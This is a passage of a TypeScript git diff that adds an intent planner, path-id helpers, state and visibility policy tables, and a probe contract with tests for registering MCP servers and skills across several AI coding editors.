PlanStepOrigin = (typeof PLAN_STEP_ORIGINS)[number];++export interface PlannedStep {+ readonly satisfierId: SatisfierId;+ readonly agentId: AgentId;+ readonly piece: IntegrationPiece;+ readonly scope: SatisfierScope;+ readonly kind: SatisfierKind;+ readonly pathId?: PathId;+ readonly desired: IntentDesire;+ readonly origin: PlanStepOrigin;+ readonly dependsOn: readonly SatisfierId[];+ readonly state: SurfaceState;+ readonly installability: Installability;+ readonly alreadyInDesiredState: boolean;+}++export const PLAN_CONFLICT_KINDS = [+ 'malformed-intent',+ 'unknown-satisfier',+ 'blocked-satisfier',+ 'contradictory-intents',+ 'unresolved-shared-copy',+ 'prerequisite-unavailable',+ 'prerequisite-removed',+ 'prerequisite-cycle',+] as const;+export type PlanConflictKind = (typeof PLAN_CONFLICT_KINDS)[number];++export interface PlanConflict {+ readonly kind: PlanConflictKind;+ readonly satisfierIds: readonly SatisfierId[];+ readonly agentIds: readonly AgentId[];+ readonly pathId?: PathId;+ readonly blockedReason?: PrerequisiteBlocker;+}++export interface IntentPlan {+ readonly steps: readonly PlannedStep[];+ readonly conflicts: readonly PlanConflict[];+ readonly withheld: readonly SatisfierId[];+}++const EMPTY_PLAN: IntentPlan = { steps: [], conflicts: [], withheld: [] };++interface Draft {+ readonly cell: ConnectionCell;+ readonly desired: IntentDesire;+ readonly origin: PlanStepOrigin;+ readonly seq: number;+}++function isRecord(value: unknown): value is Record<string, unknown> {+ return typeof value === 'object' && value !== null;+}++function isDesire(value: unknown): value is IntentDesire {+ return typeof value === 'string' && (INTENT_DESIRES as readonly string[]).includes(value);+}++function indexCells(view: ConnectionsView | null | undefined): Map<string, ConnectionCell> {+ const index = new Map<string, ConnectionCell>();+ if (!isRecord(view) || !Array.isArray(view.rows)) return index;++ for (const row of view.rows) {+ if (!isRecord(row) || !Array.isArray(row.scopes)) continue;+ for (const group of row.scopes) {+ if (!isRecord(group) || !Array.isArray(group.cells)) continue;+ for (const cell of group.cells) {+ if (isRecord(cell) && typeof cell.satisfierId === 'string') {+ index.set(cell.satisfierId, cell as unknown as ConnectionCell);+ }+ }+ }+ }++ return index;+}++function cellsOverPath(cells: Iterable<ConnectionCell>, path: PathId): ConnectionCell[] {+ return [...cells].filter((cell) => cell.pathId === path);+}++class Planner {+ private readonly cells: Map<string, ConnectionCell>;+ private readonly drafts = new Map<SatisfierId, Draft>();+ private readonly conflicts: PlanConflict[] = [];+ private seq = 0;++ constructor(view: ConnectionsView | null | undefined) {+ this.cells = indexCells(view);+ }++ private conflict(input: {+ kind: PlanConflictKind;+ satisfierIds: readonly SatisfierId[];+ agentIds?: readonly AgentId[];+ pathId?: PathId;+ blockedReason?: PrerequisiteBlocker;+ }): void {+ const agentIds: AgentId[] = [];+ for (const id of input.satisfierIds) {+ const agent = this.cells.get(id)?.agentId;+ if (agent !== undefined && !agentIds.includes(agent)) agentIds.push(agent);+ }+ for (const agent of input.agentIds ?? []) {+ if (!agentIds.includes(agent)) agentIds.push(agent);+ }++ this.conflicts.push({+ kind: input.kind,+ satisfierIds: input.satisfierIds,+ agentIds,+ ...(input.pathId === undefined ? {} : { pathId: input.pathId }),+ ...(input.blockedReason === undefined ? {} : { blockedReason: input.blockedReason }),+ });+ }++ admit(intents: readonly ApplyIntent[] | null | undefined): void {+ if (!Array.isArray(intents)) return;++ for (const intent of intents) {+ if (+ !isRecord(intent) ||+ typeof intent.satisfierId !== 'string' ||+ !isDesire(intent.desired)+ ) {+ this.conflict({ kind: 'malformed-intent', satisfierIds: [] });+ continue;+ }++ const id = intent.satisfierId as SatisfierId;+ const cell = this.cells.get(id);+ if (cell === undefined) {+ this.conflict({ kind: 'unknown-satisfier', satisfierIds: [id] });+ continue;+ }+ const reason = cell.disabledReason;+ if (+ reason !== null &&+ reason !== 'not-installable' &&+ (intent.desired === 'present' || reason === 'foreign')+ ) {+ this.conflict({ kind: 'blocked-satisfier', satisfierIds: [id], blockedReason: reason });+ continue;+ }++ const existing = this.drafts.get(id);+ if (existing === undefined) {+ this.drafts.set(id, {+ cell,+ desired: intent.desired,+ origin: 'requested',+ seq: this.seq++,+ });+ continue;+ }+ if (existing.desired !== intent.desired) {+ this.conflict({ kind: 'contradictory-intents', satisfierIds: [id] });+ }+ }+ }++ expandPrerequisites(): void {+ const queue = [...this.drafts.values()].filter((draft) => draft.desired === 'present');+ const seen = new Set<SatisfierId>();++ while (queue.length > 0) {+ const draft = queue.shift();+ if (draft === undefined) continue;+ if (seen.has(draft.cell.satisfierId)) continue;+ seen.add(draft.cell.satisfierId);++ const dependentId = draft.cell.satisfierId;+ const options = draft.cell.unmetPrerequisites;+ if (options.length > 0 && !options.some((id) => this.drafts.has(id))) {+ const blocked: { id: SatisfierId; reason: PrerequisiteBlocker }[] = [];+ const available: ConnectionCell[] = [];++ for (const prerequisiteId of options) {+ const cell = this.cells.get(prerequisiteId);+ if (cell === undefined) {+ this.conflict({+ kind: 'unknown-satisfier',+ satisfierIds: [prerequisiteId, dependentId],+ });+ continue;+ }+ if (cell.disabledReason !== null) {+ blocked.push({ id: prerequisiteId, reason: cell.disabledReason });+ continue;+ }+ if (requiresExplicitConsent(cell.state)) {+ blocked.push({ id: prerequisiteId, reason: 'foreign-replaceable' });+ continue;+ }+ available.push(cell);+ }++ const chosen = preferredPrerequisite(available);+ const filled = chosen !== undefined;+ if (chosen !== undefined) {+ const added: Draft = {+ cell: chosen,+ desired: 'present',+ origin: 'prerequisite',+ seq: this.seq++,+ };+ this.drafts.set(chosen.satisfierId, added);+ queue.push(added);+ }++ if (!filled) {+ for (const { id, reason } of blocked) {+ this.conflict({+ kind: 'prerequisite-unavailable',+ satisfierIds: [id, dependentId],+ blockedReason: reason,+ });+ }+ }+ }+ }+ }++ checkSharedCopies(): void {+ const drafts = [...this.drafts.values()];++ const byPath = new Map<PathId, Draft[]>();+ for (const draft of drafts) {+ const path = draft.cell.pathId;+ if (path === undefined) continue;+ const group = byPath.get(path);+ if (group === undefined) byPath.set(path, [draft]);+ else group.push(draft);+ }++ for (const [path, group] of byPath) {+ if (group.length < 2) continue;+ if (group.every((draft) => draft.desired === group[0]?.desired)) continue;+ this.conflict({+ kind: 'contradictory-intents',+ satisfierIds: group.map((draft) => draft.cell.satisfierId),+ pathId: path,+ });+ }++ for (const draft of drafts) {+ if (draft.desired !== 'absent') continue;+ const { cell } = draft;+ const path = cell.pathId;+ if (path !== undefined && cell.sharedWith.length > 0) {+ const peers = cellsOverPath(this.cells.values(), path).filter(+ (candidate) => candidate.satisfierId !== cell.satisfierId,+ );+ this.reportStrandedPeers(cell, peers, cell.sharedWith, path);+ }+ if (cell.sharedFolderWith.length > 0) {+ this.reportStrandedPeers(cell, this.folderPeersOf(cell), cell.sharedFolderWith);+ }+ }+ }++ private folderPeersOf(cell: ConnectionCell): ConnectionCell[] {+ return [...this.cells.values()].filter(+ (candidate) =>+ candidate.satisfierId !== cell.satisfierId &&+ candidate.piece === cell.piece &&+ candidate.scope === cell.scope &&+ cell.sharedFolderWith.includes(candidate.agentId),+ );+ }++ private reportStrandedPeers(+ cell: ConnectionCell,+ peers: readonly ConnectionCell[],+ sharedWith: readonly AgentId[],+ pathId?: PathId,+ ): void {+ const stranded = peers+ .filter((peer) => peer.checked)+ .filter((peer) => this.drafts.get(peer.satisfierId)?.desired !== 'absent')+ .map((peer) => peer.satisfierId);++ const invisible = sharedWith.filter((agent) => !peers.some((peer) => peer.agentId === agent));++ if (stranded.length === 0 && invisible.length === 0) return;+ this.conflict({+ kind: 'unresolved-shared-copy',+ satisfierIds: [cell.satisfierId, ...stranded],+ agentIds: invisible,+ ...(pathId === undefined ? {} : { pathId }),+ });+ }++ private anotherPrerequisiteHolds(draft: Draft, removedId: SatisfierId): boolean {+ return draft.cell.prerequisites.some((memberId) => {+ if (memberId === removedId) return false;+ const drafted = this.drafts.get(memberId);+ if (drafted !== undefined) return drafted.desired === 'present';+ return this.cells.get(memberId)?.checked === true;+ });+ }++ order(): { steps: PlannedStep[]; blocked: Set<SatisfierId> } {+ const dependsOn = new Map<SatisfierId, SatisfierId[]>();+ for (const id of this.drafts.keys()) dependsOn.set(id, []);++ const link = (before: SatisfierId, after: SatisfierId): void => {+ const edges = dependsOn.get(after);+ if (edges !== undefined && !edges.includes(before)) edges.push(before);+ };++ for (const draft of this.drafts.values()) {+ const id = draft.cell.satisfierId;+ for (const prerequisiteId of draft.cell.prerequisites) {+ const other = this.drafts.get(prerequisiteId);+ if (other === undefined) continue;++ if (draft.desired === 'present' && other.desired === 'present') {+ link(prerequisiteId, id);+ } else if (draft.desired === 'absent' && other.desired === 'absent') {+ link(id, prerequisiteId);+ } else if (+ draft.desired === 'present' &&+ other.desired === 'absent' &&+ !this.anotherPrerequisiteHolds(draft, prerequisiteId)+ ) {+ this.conflict({ kind: 'prerequisite-removed', satisfierIds: [prerequisiteId, id] });+ }+ }+ }++ const ordered: Draft[] = [];+ const placed = new Set<SatisfierId>();+ const pending = [...this.drafts.values()].sort((a, b) => a.seq - b.seq);++ let progressed = true;+ while (progressed) {+ progressed = false;+ for (const draft of pending) {+ const id = draft.cell.satisfierId;+ if (placed.has(id)) continue;+ const edges = dependsOn.get(id) ?? [];+ if (!edges.every((edge) => placed.has(edge))) continue;+ ordered.push(draft);+ placed.add(id);+ progressed = true;+ }+ }++ const looping = pending.filter((draft) => !placed.has(draft.cell.satisfierId));+ if (looping.length > 0) {+ this.conflict({+ kind: 'prerequisite-cycle',+ satisfierIds: looping.map((draft) => draft.cell.satisfierId),+ });+ }++ const steps = ordered.map((draft) => this.toStep(draft, dependsOn));+ return { steps, blocked: new Set(looping.map((draft) => draft.cell.satisfierId)) };+ }++ private toStep(draft: Draft, dependsOn: Map<SatisfierId, SatisfierId[]>): PlannedStep {+ const { cell } = draft;+ return {+ satisfierId: cell.satisfierId,+ agentId: cell.agentId,+ piece: cell.piece,+ scope: cell.scope,+ kind: cell.kind,+ ...(cell.pathId === undefined ? {} : { pathId: cell.pathId }),+ desired: draft.desired,+ origin: draft.origin,+ dependsOn: dependsOn.get(cell.satisfierId) ?? [],+ state: cell.state,+ installability: cell.installability,+ alreadyInDesiredState: cell.checked === (draft.desired === 'present'),+ };+ }++ finish(ordered: { steps: PlannedStep[]; blocked: Set<SatisfierId> }): IntentPlan {+ const withheld = new Set<SatisfierId>(ordered.blocked);+ for (const conflict of this.conflicts) {+ for (const id of conflict.satisfierIds) {+ if (this.drafts.has(id)) withheld.add(id);+ }+ }+ if (this.conflicts.length > 0) {+ for (const id of this.drafts.keys()) withheld.add(id);+ }++ for (const step of ordered.steps) {+ if (step.dependsOn.some((id) => withheld.has(id))) withheld.add(step.satisfierId);+ }++ return {+ steps: ordered.steps.filter((step) => !withheld.has(step.satisfierId)),+ conflicts: this.conflicts,+ withheld: [...withheld],+ };+ }+}++function prerequisiteRank(cell: ConnectionCell): number {+ const borrowed = cell.sharedWith.length > 0 ? 2 : 0;+ const needsFollowup = cell.consentClass === 'none' ? 0 : 1;+ return borrowed + needsFollowup;+}++export function preferredPrerequisite(+ candidates: readonly ConnectionCell[],+): ConnectionCell | undefined {+ let best: ConnectionCell | undefined;+ for (const cell of candidates) {+ if (best === undefined || prerequisiteRank(cell) < prerequisiteRank(best)) best = cell;+ }+ return best;+}++export function planIntents(+ intents: readonly ApplyIntent[] | null | undefined,+ view: ConnectionsView | null | undefined,+): IntentPlan {+ if (!Array.isArray(intents) || intents.length === 0) return EMPTY_PLAN;++ const planner = new Planner(view);+ planner.admit(intents);+ planner.expandPrerequisites();+ planner.checkSharedCopies();+ return planner.finish(planner.order());+}diff --git a/packages/core/src/agent-registry/paths.test.ts b/packages/core/src/agent-registry/paths.test.tsnew file mode 100644index 000000000..4bf117dac--- /dev/null+++ b/packages/core/src/agent-registry/paths.test.ts@@ -0,0 +1,30 @@+import { describe, expect, it } from 'vitest';+import { CENTRAL_SKILL_STORE_PATH_ID, editorPathId, parsePathId } from './paths.ts';++describe('path ids', () => {+ it('round-trips an editor-keyed location back into the map to look it up in', () => {+ expect(parsePathId(editorPathId('editor-project-config', 'claude'))).toEqual({+ kind: 'editor-project-config',+ editor: 'claude',+ });+ expect(parsePathId(editorPathId('editor-user-skill-root', 'pi'))).toEqual({+ kind: 'editor-user-skill-root',+ editor: 'pi',+ });+ });++ it('reads the shared hub, which belongs to no editor', () => {+ expect(parsePathId(CENTRAL_SKILL_STORE_PATH_ID)).toEqual({ kind: 'central-skill-store' });+ });++ it('refuses anything this build cannot resolve, rather than handing back a lookup that misses', () => {+ expect(parsePathId('editor-user-config:not-an-editor')).toBeNull();+ expect(parsePathId('editor-user-config:')).toBeNull();+ expect(parsePathId('some-other-family:claude')).toBeNull();+ expect(parsePathId('no-separator')).toBeNull();+ });++ it('names a location instead of spelling one', () => {+ expect(editorPathId('editor-project-skill-root', 'codex')).not.toMatch(/^[/~]/);+ });+});diff --git a/packages/core/src/agent-registry/paths.ts b/packages/core/src/agent-registry/paths.tsnew file mode 100644index 000000000..74e348117--- /dev/null+++ b/packages/core/src/agent-registry/paths.ts@@ -0,0 +1,32 @@+import { ALL_EDITOR_IDS, type EditorId } from '../constants/editors.ts';+import { type PathId, pathId } from './ids.ts';++export const EDITOR_PATH_KINDS = [+ 'editor-user-config',+ 'editor-project-config',+ 'editor-project-skill-root',+ 'editor-user-skill-root',+] as const;++export type EditorPathKind = (typeof EDITOR_PATH_KINDS)[number];++export const CENTRAL_SKILL_STORE_PATH_ID: PathId = pathId('central-skill-store');++export function editorPathId(kind: EditorPathKind, editor: EditorId): PathId {+ return pathId(`${kind}:${editor}`);+}++export type ResolvedPathId =+ | { readonly kind: EditorPathKind; readonly editor: EditorId }+ | { readonly kind: 'central-skill-store' };++export function parsePathId(value: string): ResolvedPathId | null {+ if (value === CENTRAL_SKILL_STORE_PATH_ID) return { kind: 'central-skill-store' };+ const separator = value.indexOf(':');+ if (separator === -1) return null;+ const kind = value.slice(0, separator);+ const editor = value.slice(separator + 1);+ if (!(EDITOR_PATH_KINDS as readonly string[]).includes(kind)) return null;+ if (!(ALL_EDITOR_IDS as readonly string[]).includes(editor)) return null;+ return { kind: kind as EditorPathKind, editor: editor as EditorId };+}diff --git a/packages/core/src/agent-registry/policy.test.ts b/packages/core/src/agent-registry/policy.test.tsnew file mode 100644index 000000000..dfecf159b--- /dev/null+++ b/packages/core/src/agent-registry/policy.test.ts@@ -0,0 +1,73 @@+import { describe, expect, it } from 'vitest';+import { AGENT_MODES } from './ids.ts';+import { MODE_GATE_POLICY, MODE_VISIBILITY_POLICY, STATE_POLICY } from './policy.ts';+import { KNOWN_SURFACE_STATES } from './vocabulary.ts';++describe('STATE_POLICY', () => {+ it('has exactly one row per known state', () => {+ expect(Object.keys(STATE_POLICY).sort()).toEqual([...KNOWN_SURFACE_STATES].sort());+ });++ it('carries counts and exception together on every row', () => {+ for (const state of KNOWN_SURFACE_STATES) {+ const row = STATE_POLICY[state];+ expect(typeof row.counts).toBe('boolean');+ expect(row.exception === null || ['info', 'warning', 'error'].includes(row.exception)).toBe(+ true,+ );+ }+ });++ it('lets an unknown-consent artifact count, and says so quietly', () => {+ expect(STATE_POLICY['present-consent-unknown']).toEqual({ counts: true, exception: 'info' });+ });++ it('credits what we declared unprobeable and withholds credit for what we never probed', () => {+ expect(STATE_POLICY.unprobeable.counts).toBe(true);+ expect(STATE_POLICY.unprobed.counts).toBe(false);+ });++ it('counts nothing else that is not actually in place', () => {+ const counting = KNOWN_SURFACE_STATES.filter((state) => STATE_POLICY[state].counts);+ expect([...counting].sort()).toEqual(+ ['present-consent-unknown', 'satisfied', 'unprobeable'].sort(),+ );+ });++ it('leaves an uninstalled agent unannotated rather than reading as a failure', () => {+ expect(STATE_POLICY.undetected.exception).toBeNull();+ expect(STATE_POLICY.absent.exception).toBeNull();+ });+});++describe('MODE_GATE_POLICY', () => {+ it('has one row per mode', () => {+ expect(Object.keys(MODE_GATE_POLICY).sort()).toEqual([...AGENT_MODES].sort());+ });++ it('resolves an unanswered probe by what being wrong would cost in that mode', () => {+ expect(MODE_GATE_POLICY.terminal.unprobed).toBe('count-unverified');+ expect(MODE_GATE_POLICY.acp.unprobed).toBe('count-unverified');+ expect(MODE_GATE_POLICY.external.unprobed).toBe('not-count');+ });+});++describe('MODE_VISIBILITY_POLICY', () => {+ it('has one row per mode, each naming its signal', () => {+ expect(Object.keys(MODE_VISIBILITY_POLICY).sort()).toEqual([...AGENT_MODES].sort());+ expect(MODE_VISIBILITY_POLICY.acp.signal).toBe('acp-catalog-supported');+ expect(MODE_VISIBILITY_POLICY.terminal.signal).toBe('harness-cli-on-path');+ expect(MODE_VISIBILITY_POLICY.external.signal).toBe('os-scheme-handler');+ });++ it('keeps terminal fail-open and external strict — they are deliberate opposites', () => {+ expect(MODE_VISIBILITY_POLICY.terminal.unresolved).toBe('show');+ expect(MODE_VISIBILITY_POLICY.external.unresolved).toBe('hide');+ });++ it('lets only an unrunnable in-app agent outrank the user override', () => {+ expect(MODE_VISIBILITY_POLICY.acp.negativeOutranksOverride).toBe(true);+ expect(MODE_VISIBILITY_POLICY.terminal.negativeOutranksOverride).toBe(false);+ expect(MODE_VISIBILITY_POLICY.external.negativeOutranksOverride).toBe(false);+ });+});diff --git a/packages/core/src/agent-registry/policy.ts b/packages/core/src/agent-registry/policy.tsnew file mode 100644index 000000000..23eaaa57f--- /dev/null+++ b/packages/core/src/agent-registry/policy.ts@@ -0,0 +1,72 @@+import { z } from 'zod';+import { AGENT_MODES, type AgentMode } from './ids.ts';+import { type ExceptionLevel, KNOWN_SURFACE_STATES, type KnownSurfaceState } from './vocabulary.ts';++export interface StatePolicyRow {+ readonly counts: boolean;+ readonly exception: ExceptionLevel | null;+}++export const STATE_POLICY = {+ satisfied: { counts: true, exception: null },+ 'present-consent-unknown': { counts: true, exception: 'info' },+ absent: { counts: false, exception: null },+ foreign: { counts: false, exception: 'warning' },+ 'foreign-replaceable': { counts: false, exception: 'warning' },+ drifted: { counts: false, exception: 'warning' },+ excluded: { counts: false, exception: 'info' },+ 'structural-na': { counts: false, exception: 'info' },+ undetected: { counts: false, exception: null },+ unprobeable: { counts: true, exception: 'info' },+ unprobed: { counts: false, exception: 'info' },+} as const satisfies Record<KnownSurfaceState, StatePolicyRow>;++export const UNPROBED_RESOLUTIONS = ['count-unverified', 'not-count'] as const;+export const UnprobedResolutionSchema = z.enum(UNPROBED_RESOLUTIONS);+export type UnprobedResolution = z.infer<typeof UnprobedResolutionSchema>;++export interface ModeGatePolicyRow {+ readonly unprobed: UnprobedResolution;+}++export const MODE_GATE_POLICY = {+ acp: { unprobed: 'count-unverified' },+ terminal: { unprobed: 'count-unverified' },+ external: { unprobed: 'not-count' },+} as const satisfies Record<AgentMode, ModeGatePolicyRow>;++export const VISIBILITY_SIGNALS = [+ 'acp-catalog-supported',+ 'harness-cli-on-path',+ 'os-scheme-handler',+] as const;+export const VisibilitySignalSchema = z.enum(VISIBILITY_SIGNALS);+export type VisibilitySignal = z.infer<typeof VisibilitySignalSchema>;++export interface ModeVisibilityPolicyRow {+ readonly signal: VisibilitySignal;+ readonly unresolved: 'show' | 'hide';+ readonly negativeOutranksOverride: boolean;+}++export const MODE_VISIBILITY_POLICY = {+ acp: {+ signal: 'acp-catalog-supported',+ unresolved: 'show',+ negativeOutranksOverride: true,+ },+ terminal: {+ signal: 'harness-cli-on-path',+ unresolved: 'show',+ negativeOutranksOverride: false,+ },+ external: {+ signal: 'os-scheme-handler',+ unresolved: 'hide',+ negativeOutranksOverride: false,+ },+} as const satisfies Record<AgentMode, ModeVisibilityPolicyRow>;++export const POLICY_MODE_KEYS: readonly AgentMode[] = AGENT_MODES;++export const POLICY_STATE_KEYS: readonly KnownSurfaceState[] = KNOWN_SURFACE_STATES;diff --git a/packages/core/src/agent-registry/probe-contract.test.ts b/packages/core/src/agent-registry/probe-contract.test.tsnew file mode 100644index 000000000..1d5e2d21b--- /dev/null+++ b/packages/core/src/agent-registry/probe-contract.test.ts@@ -0,0 +1,215 @@+import { describe, expect, it } from 'vitest';+import { ALL_SATISFIERS } from './agents.ts';+import type { SatisfierId } from './ids.ts';+import {+ buildProbeSnapshot,+ checkProbeCoverage,+ collectProbeCoverage,+ PROBEABLE_SATISFIER_IDS,+ type ProbeResolver,+ type ProbeWorkItem,+ planProbes,+} from './probe-contract.ts';++const EXPECTED_WORK_LIST: readonly string[] = [+ 'claude/mcp/user/config-entry',+ 'claude/mcp/project/config-entry',+ 'claude/skill/project/skill-bundle-copy',+ 'claude/skill/user/skill-bundle-copy',+ 'claude-desktop/mcp/user/config-entry',+ 'cursor/mcp/user/config-entry',+ 'cursor/mcp/project/config-entry',+ 'cursor/skill/project/skill-bundle-copy',+ 'cursor/skill/user/skill-bundle-copy',+ 'codex/mcp/user/config-entry',+ 'codex/mcp/project/config-entry',+ 'codex/skill/project/skill-bundle-copy',+ 'codex/skill/user/skill-bundle-copy',+ 'copilot/mcp/user/config-entry',+ 'copilot/mcp/project/config-entry',+ 'copilot/skill/project/skill-bundle-copy',+ 'copilot/skill/user/skill-bundle-copy',+ 'opencode/mcp/user/config-entry',+ 'opencode/mcp/project/config-entry',+ 'opencode/skill/project/skill-bundle-copy',+ 'opencode/skill/user/skill-bundle-copy',+ 'openclaw/mcp/user/config-entry',+ 'openclaw/skill/user/central-store-copy',+ 'pi/mcp/project/managed-file',+ 'pi/skill/project/skill-bundle-copy',+ 'pi/skill/user/skill-bundle-copy',+ 'antigravity/mcp/user/config-entry',+ 'antigravity/skill/user/skill-bundle-copy',+ 'lm-studio/mcp/user/config-entry',+ 'hermes/mcp/user/config-entry',+];++function itemFor(id: string): ProbeWorkItem {+ const item = planProbes().find((candidate) => candidate.satisfierId === id);+ if (item === undefined) throw new Error(`no work item for ${id}`);+ return item;+}++const answersNothing: ProbeResolver = () => null;++describe('the work list', () => {+ it('names every probeable satisfier and nothing else', () => {+ expect([...PROBEABLE_SATISFIER_IDS]).toEqual(EXPECTED_WORK_LIST);+ });++ it('leaves out satisfiers the registry declares unprobeable', () => {+ const declaredUnprobeable = ALL_SATISFIERS.filter(+ (record) => record.probe.mode === 'unprobeable',+ ).map((record) => record.id);+ expect(declaredUnprobeable.length).toBeGreaterThan(0);+ for (const id of declaredUnprobeable) {+ expect(PROBEABLE_SATISFIER_IDS).not.toContain(id);+ }+ });++ it('carries the path name rather than a path', () => {+ const item = itemFor('claude/mcp/project/config-entry');+ expect(item.pathId).toBe('editor-project-config:claude');+ });++ it('points a shared artifact at one path name from both agents', () => {+ expect(itemFor('copilot/mcp/project/config-entry').pathId).toBe(+ itemFor('claude/mcp/project/config-entry').pathId,+ );+ });++ it('narrows to the agents a caller asked about', () => {+ const planned = planProbes(['hermes']);+ expect(planned.map((item) => item.satisfierId)).toEqual(['hermes/mcp/user/config-entry']);+ });+});++describe('building a snapshot', () => {+ it('carries the environment tier through untouched', async () => {+ const snapshot = await buildProbeSnapshot({ env: 'remote-web', resolve: answersNothing });+ expect(snapshot.env).toBe('remote-web');+ });++ it('keys every planned satisfier even when the host answers none of them', async () => {+ const snapshot = await buildProbeSnapshot({ env: 'desktop', resolve: answersNothing });+ expect(Object.keys(snapshot.satisfiers).sort()).toEqual([...EXPECTED_WORK_LIST].sort());+ });++ it('reads a host with no case for a satisfier as unprobed, never absent', async () => {+ const snapshot = await buildProbeSnapshot({ env: 'desktop', resolve: answersNothing });+ expect(snapshot.satisfiers['claude/mcp/user/config-entry']).toEqual({ state: 'unprobed' });+ });++ it('reads a probe that throws as unprobed, never absent', async () => {+ const snapshot = await buildProbeSnapshot({+ env: 'desktop',+ resolve: () => {+ throw new Error('EACCES');+ },+ });+ expect(snapshot.satisfiers['claude/mcp/user/config-entry']).toEqual({ state: 'unprobed' });+ });++ it('reads a rejected promise as unprobed', async () => {+ const snapshot = await buildProbeSnapshot({+ env: 'desktop',+ resolve: () => Promise.reject(new Error('timed out')),+ agentIds: ['hermes'],+ });+ expect(snapshot.satisfiers['hermes/mcp/user/config-entry']).toEqual({ state: 'unprobed' });+ });++ it('reads an unusable state as unprobed', async () => {+ const snapshot = await buildProbeSnapshot({+ env: 'desktop',+ resolve: () => ({ state: '' }),+ agentIds: ['hermes'],+ });+ expect(snapshot.satisfiers['hermes/mcp/user/config-entry']).toEqual({ state: 'unprobed' });+ });++ it('keeps a state this build has no policy row for', async () => {+ const snapshot = await buildProbeSnapshot({+ env: 'desktop',+ resolve: () => ({ state: 'invented-by-a-newer-host' }),+ agentIds: ['hermes'],+ });+ expect(snapshot.satisfiers['hermes/mcp/user/config-entry']).toEqual({+ state: 'invented-by-a-newer-host',+ });+ });++ it('records the predicates that passed', async () => {+ const snapshot = await buildProbeSnapshot({+ env: 'desktop',+ resolve: () => ({+ state: 'satisfied',+ strictness: ['reclaim-permissive', 'pre-approval-exact'],+ }),+ agentIds: ['claude'],+ });+ expect(snapshot.satisfiers['claude/mcp/user/config-entry']).toEqual({+ state: 'satisfied',+ strictness: ['reclaim-permissive', 'pre-approval-exact'],+ });+ });++ it('drops a predicate the satisfier never declared', async () => {+ expect(itemFor('cursor/mcp/user/config-entry').strictness).toEqual(['reclaim-permissive']);+ const snapshot = await buildProbeSnapshot({+ env: 'desktop',+ resolve: () => ({+ state: 'satisfied',+ strictness: ['pre-approval-exact', 'reclaim-permissive'],+ }),+ agentIds: ['cursor'],+ });+ expect(snapshot.satisfiers['cursor/mcp/user/config-entry']).toEqual({+ state: 'satisfied',+ strictness: ['reclaim-permissive'],+ });+ });++ it('keeps the state when every claimed predicate is dropped', async () => {+ const snapshot = await buildProbeSnapshot({+ env: 'desktop',+ resolve: () => ({ state: 'satisfied', strictness: ['pre-approval-exact'] }),+ agentIds: ['cursor'],+ });+ expect(snapshot.satisfiers['cursor/mcp/user/config-entry']).toEqual({ state: 'satisfied' });+ });+});++describe('coverage', () => {+ it('counts only the satisfiers a resolver actually answers', async () => {+ const covered = await collectProbeCoverage((item) =>+ item.piece === 'skill' ? { state: 'absent' } : null,+ );+ expect(covered.length).toBeGreaterThan(0);+ expect(covered).toContain('claude/skill/user/skill-bundle-copy');+ expect(covered).not.toContain('claude/mcp/user/config-entry');+ });++ it('counts an honest cannot-say as covered', async () => {+ const covered = await collectProbeCoverage(() => ({ state: 'unprobed' }), ['hermes']);+ expect(covered).toEqual(['hermes/mcp/user/config-entry']);+ });++ it('reports nothing missing when every satisfier is answered', () => {+ expect(checkProbeCoverage(PROBEABLE_SATISFIER_IDS)).toEqual({ missing: [], unclaimed: [] });+ });++ it('reports a satisfier no host answers for', () => {+ const short = PROBEABLE_SATISFIER_IDS.filter((id) => id !== 'hermes/mcp/user/config-entry');+ expect(checkProbeCoverage(short).missing).toEqual(['hermes/mcp/user/config-entry']);+ });++ it('reports a key no satisfier claims', () => {+ const report = checkProbeCoverage([+ ...PROBEABLE_SATISFIER_IDS,+ 'ghost/mcp/user/config-entry' as SatisfierId,+ ]);+ expect(report.unclaimed).toEqual(['ghost/mcp/user/config-entry']);+ expect(report.missing).toEqual([]);+ });+});diff --git a/packages/core/src/agent-registry/probe-contract.ts b/packages/core/src/agent-registry/probe-contract.tsnew file mode 100644index 000000000..083033553--- /dev/null+++ b/packages/core/src/agent-registry/probe-contract.ts@@ -0,0 +1,120 @@+import { ALL_SATISFIERS } from './agents.ts';+import type { AgentId, IntegrationPiece, PathId, SatisfierId, SatisfierScope } from './ids.ts';+import type { EnvTier, ProbeSnapshot, SatisfierProbe } from './snapshot.ts';+import type { ProbeStrictness, SatisfierKind, SurfaceState } from './vocabulary.ts';++export interface ProbeWorkItem {+ readonly satisfierId: SatisfierId;+ readonly agent: AgentId;+ readonly piece: IntegrationPiece;+ readonly scope: SatisfierScope;+ readonly kind: SatisfierKind;+ readonly pathId: PathId | null;+ readonly strictness: readonly ProbeStrictness[];+}++const WORK_ITEMS: readonly ProbeWorkItem[] = ALL_SATISFIERS.flatMap((record) =>+ record.probe.mode === 'probeable'+ ? [+ {+ satisfierId: record.id,+ agent: record.agent,+ piece: record.piece,+ scope: record.scope,+ kind: record.kind,+ pathId: record.pathId ?? null,+ strictness: record.probe.strictness,+ },+ ]+ : [],+);++export const PROBEABLE_SATISFIER_IDS: readonly SatisfierId[] = WORK_ITEMS.map(+ (item) => item.satisfierId,+);++export function planProbes(agentIds?: readonly AgentId[]): readonly ProbeWorkItem[] {+ if (agentIds === undefined) return WORK_ITEMS;+ const wanted = new Set<string>(agentIds);+ return WORK_ITEMS.filter((item) => wanted.has(item.agent));+}++export type ProbeAnswer = {+ readonly state: SurfaceState;+ readonly strictness?: readonly ProbeStrictness[];+ readonly sharedWith?: readonly AgentId[];+ readonly path?: string;+} | null;++export type ProbeResolver = (item: ProbeWorkItem) => ProbeAnswer | Promise<ProbeAnswer>;++export interface BuildProbeSnapshotInput {+ readonly env: EnvTier;+ readonly resolve: ProbeResolver;+ readonly agentIds?: readonly AgentId[];+}++async function safeResolve(resolve: ProbeResolver, item: ProbeWorkItem): Promise<ProbeAnswer> {+ try {+ return await resolve(item);+ } catch {+ return null;+ }+}++function admittedStrictness(+ item: ProbeWorkItem,+ claimed: readonly ProbeStrictness[] | undefined,+): readonly ProbeStrictness[] | undefined {+ if (claimed === undefined) return undefined;+ const admitted = claimed.filter((key) => item.strictness.includes(key));+ return admitted.length === 0 ? undefined : admitted;+}++function toProbe(item: ProbeWorkItem, answer: ProbeAnswer): SatisfierProbe {+ if (answer === null || typeof answer.state !== 'string' || answer.state.length === 0) {+ return { state: 'unprobed' };+ }+ const strictness = admittedStrictness(item, answer.strictness);+ const shared = answer.sharedWith?.filter((id) => id !== item.agent);+ const path = typeof answer.path === 'string' && answer.path.length > 0 ? answer.path : undefined;+ return {+ state: 